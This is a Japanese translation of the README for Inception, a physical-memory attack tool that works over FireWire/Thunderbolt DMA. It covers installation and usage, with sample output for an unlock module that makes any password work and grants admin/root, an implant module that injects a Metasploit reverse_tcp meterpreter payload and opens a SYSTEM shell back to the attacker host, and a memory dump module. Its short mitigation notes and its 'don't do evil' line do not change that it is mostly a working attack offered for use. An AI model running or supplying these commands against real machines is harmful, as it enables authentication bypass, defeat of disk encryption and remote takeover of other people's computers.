
Inceptionは、PCIベースのDMAを悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC Card、およびその他のPCI/PCIeインターフェースを介して攻撃できます。
注: このツールは現在活発に開発されていません。代わりに PCILeech を参照してください。
Inception は、PCI ベースの DMA を悪用する物理メモリ操作・ハッキングツールです。このツールは、FireWire、Thunderbolt、ExpressCard、PC カード、その他の PCI/PCIe ハードウェアインターフェースに対して攻撃できます。
Inception は、DMA を使用して稼働中のコンピュータに対して侵襲的・非侵襲的なメモリハックを実行する、比較的高速で安定した、簡単かつ拡張可能な方法を提供することを目的としています。
Inception のモジュールは次のように動作します。IEEE1394 FireWire インターフェースを介して対象マシンに Serial Bus Protocol 2(SBP-2) ユニットディレクトリを提示すると、対象のオペレーティングシステムは SBP-2 デバイスが FireWire ポートに接続されたと認識します。SBP-2 デバイスは高速で大量のバルクデータ転送(例: FireWire ハードドライブやデジタルカムコーダー)に Direct Memory Access(DMA) を利用するため、対象は防御を緩めてデバイスへの DMA を有効化します。これにより、ツールは対象の RAM の下位 4GB に対して完全な読み書きアクセスを得ます。
いったん DMA が許可されると、ツールはオペレーティングシステムのコード内の特定オフセットにあるシグネチャを、利用可能なメモリページから探し出します。見つかると、ツールはそのコードを操作します。たとえば unlock モジュールでは、誤ったパスワードが入力されたときに起動する OS のパスワード認証モジュールを短絡(バイパス)します。
このモジュールを実行すると、任意のパスワードを使って対象マシンにログインできるようになるはずです。
この動作のたとえは、マシンのメモリに「すべてのパスワードが正しい」というアイデアを植え付けることです。言い換えれば、[メモリインセプション] 1 に相当します。
Inception はビール無料の意味で無償(free as in beer)であり、私のサイドプロジェクトです。
世界のフォレンジック専門家、政府、三文字機関はすでに [同様のツール] 2 を使用しています。もしあなたが反体制派であるか、抑圧的な政権に直面しているなら、このツールは OPSEC が重要である理由を示しています。ノートパソコンを決して目を離した場所に置かないでください。
[OS X > 10.7.2] 6 と [Windows > 8.1] 7 は、ユーザーが OS をロックすると FireWire DMA を無効にするため、inception を防ぎます。ユーザーがログオンしている間はツールは依然として機能します。ただし、これは現実にはあまり起こり得ない攻撃シナリオです。
さらに、[Ivy Bridge 上の OS X Mavericks > 10.8.2(2012 年以降の Mac)] 8 は VT-D を有効にしており、ユーザーがログインしている場合でも DMA リクエストを効果的にブロックし、すべての inception モジュールを妨害します。ログ/コンソールで vtd[0] fault エントリを探してください。
これらの 2 つの注意点により、このツールが有用なシナリオは徐々に減っていきますが、2015 年 3 月時点で [市場に出回っているマシンの 70% は依然として脆弱です] 9。
このツールは Freddie Witherden 氏提供の libforensic1394 ライブラリを LGPL ライセンスの下で利用しています。
Inception に必要なもの:
OS X の FireWire インターフェースにはバグがあるため、現在は攻撃者側に Linux を推奨します。Thunderbolt から Thunderbolt への直接接続は機能しません。FireWire アダプタが必要です。Linux で Thunderbolt を使用する場合の動作は環境によって異なります。
Debian ベースのディストリビューションでは、インストールコマンドは次のようにまとめられます(root でない場合は必要に応じて sudo を適用してください):
apt-get install git cmake g++ python3 python3-pip
OS X では、[homebrew] 4 を使ってツールの要件をインストールできます:
brew install git cmake python3
依存関係をインストールした後、libforensic1394 をダウンロードしてインストールします:
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install
pip がインストールされていれば、セットアップスクリプトが依存関係をインストールできるはずです。
次のように入力するだけです:
incept [module name]
より完全で最新の説明については、次を実行してください:
incept -h
または [ツールホームページ] 5 を参照してください。
バージョン 0.4.0 以降、Inception はモジュール化されています。現在のモジュールとその機能は以下で説明します。
詳細なオプションについては、次を実行してください:
incept [module name] -h
unlock モジュールは、物理的にアクセスできるほぼすべての電源投入済みマシンで、ロック解除(任意のパスワードを受け付ける)と Administrator/root への権限昇格を実行できます。このモジュールは主に、BitLocker、FileVault、TrueCrypt、Pointsec などのフルディスク暗号化を利用するコンピュータに対して効果を発揮することを目的としています。暗号化を使用していないマシンをハッキングする方法は他にもたくさん(しかもより良い方法)あります。
unlock モジュールは、メインメモリが 4 GiB 以下のマシンでは安定して動作します。ターゲットがそれよりも多くのメモリを搭載している場合、ツールが到達できる物理メモリのページフレームにシグネチャがマッピングされるように運が必要です。
このバージョンの時点で、次の x86 / x64 オペレーティングシステムのロックを解除できます:
(1): 上記の注意事項を参照してください。
PAM ベースの認証を使用する他の Linux ディストリビューションでも、Ubuntu のシグネチャを使用して動作する可能性があります。
このモジュールは、たとえばそれぞれ runas や sudo -s コマンドを介した権限昇格も効果的に可能にします。
ロックを解除するには、次のように入力するだけです:
incept unlock
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):
[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation
[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============> ] 227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
implant モジュールは、(メモリ上のみの) Metasploit ペイロードをターゲットマシンの揮発性メモリに直接埋め込みます。Metasploit の全バージョンに含まれる msfrpcd デーモンを介して MSF と統合します。
現在のバージョンは、Windows 7 SP1 x86 に対する概念実証としてのみ動作します。他の OS、バージョン、アーキテクチャはサポートされておらず、将来サポートされる保証もありません。
使用するには、msfrpcd を起動します:
msfrpcd -P [password]
次に、別のターミナルで inception を起動します:
incept implant --msfpw [password] --msfopts [options]
例として、ターゲットマシンから攻撃ホストへの逆方向 TCP meterpreter シェルを作成するには、最初に msfrpcd デーモンを起動し、次にコールバックを待ち受けるコンソールを起動します。
msfrpcd -P password
msfconsole
コンソールで、ペイロードの受信側を設定します。何か問題が発生した場合にターゲットプロセスが生き続けるように、EXITFUNC オプションを thread に設定します:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j
次に、別のターミナルで Inception を起動します:
incept implant --msfpw password --msfopts LHOST=172.16.1.1
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
x86. No other OSes, versions or architectures are supported, nor is there
any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================> ] 537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================> ] 434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
MSF コンソールには、次のような出力が表示されるはずです:
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200
msf exploit(handler) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6 172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
dump モジュールは、ターゲットから攻撃ホストへのメモリのダンプを容易にします。
incept dump
_| _| _| _|_|_| _|_|_|_| _|_|_| _|_|_| _| _|_| _| _|
_| _|_| _| _| _| _| _| _| _| _| _| _|_| _|
_| _| _| _| _| _|_|_| _|_|_| _| _| _| _| _| _| _|
_| _| _|_| _| _| _| _| _| _| _| _| _|_|
_| _| _| _|_|_| _|_|_|_| _| _| _| _|_| _| _|
v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe
[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!
冒頭のコメントと [ツールホームページ] 5 を参照してください。
[ツールホームページ] 5 を参照してください。
このツールで悪を行わないでください。また、私は開発者ではなくペンテスターです。そのため、Python 的な純粋さの感覚を刺激する奇妙なコードを見つけたら、どう改善できるか私に知らせてください。あるいは、さらに良い方法として、私のコードをフォークして変更し、プルリクエストを送ってください。
| OS | バージョン | ロック画面のロック解除 | 権限昇格 |
|---|
| Windows 8 | 8.1 | Yes (1) | Yes (1) |
| Windows 8 | 8.0 | Yes | Yes |
| Windows 7 | SP1 | Yes | Yes |
| Windows 7 | SP0 | Yes | Yes |
| Windows Vista | SP2 | Yes | Yes |
| Windows Vista | SP1 | Yes | Yes |
| Windows Vista | SP0 | Yes | Yes |
| Windows XP | SP3 | Yes | Yes |
| Windows XP | SP2 | Yes | Yes |
| Windows XP | SP1 | ||
| Windows XP | SP0 | ||
| Mac OS X | Mavericks | Yes (1) | Yes (1) |
| Mac OS X | Mountain Lion | Yes (1) | Yes (1) |
| Mac OS X | Lion | Yes (1) | Yes (1) |
| Mac OS X | Snow Leopard | Yes | Yes |
| Mac OS X | Leopard | ||
| Ubuntu | Saucy | Yes | Yes |
| Ubuntu | Raring | Yes | Yes |
| Ubuntu | Quantal | Yes | Yes |
| Ubuntu | Precise | Yes | Yes |
| Ubuntu | Oneiric | Yes | Yes |
| Ubuntu | Natty | Yes | Yes |
| Linux Mint | 13 | Yes | Yes |
| Linux Mint | 12 | Yes | Yes |
| Linux Mint | 12 | Yes | Yes |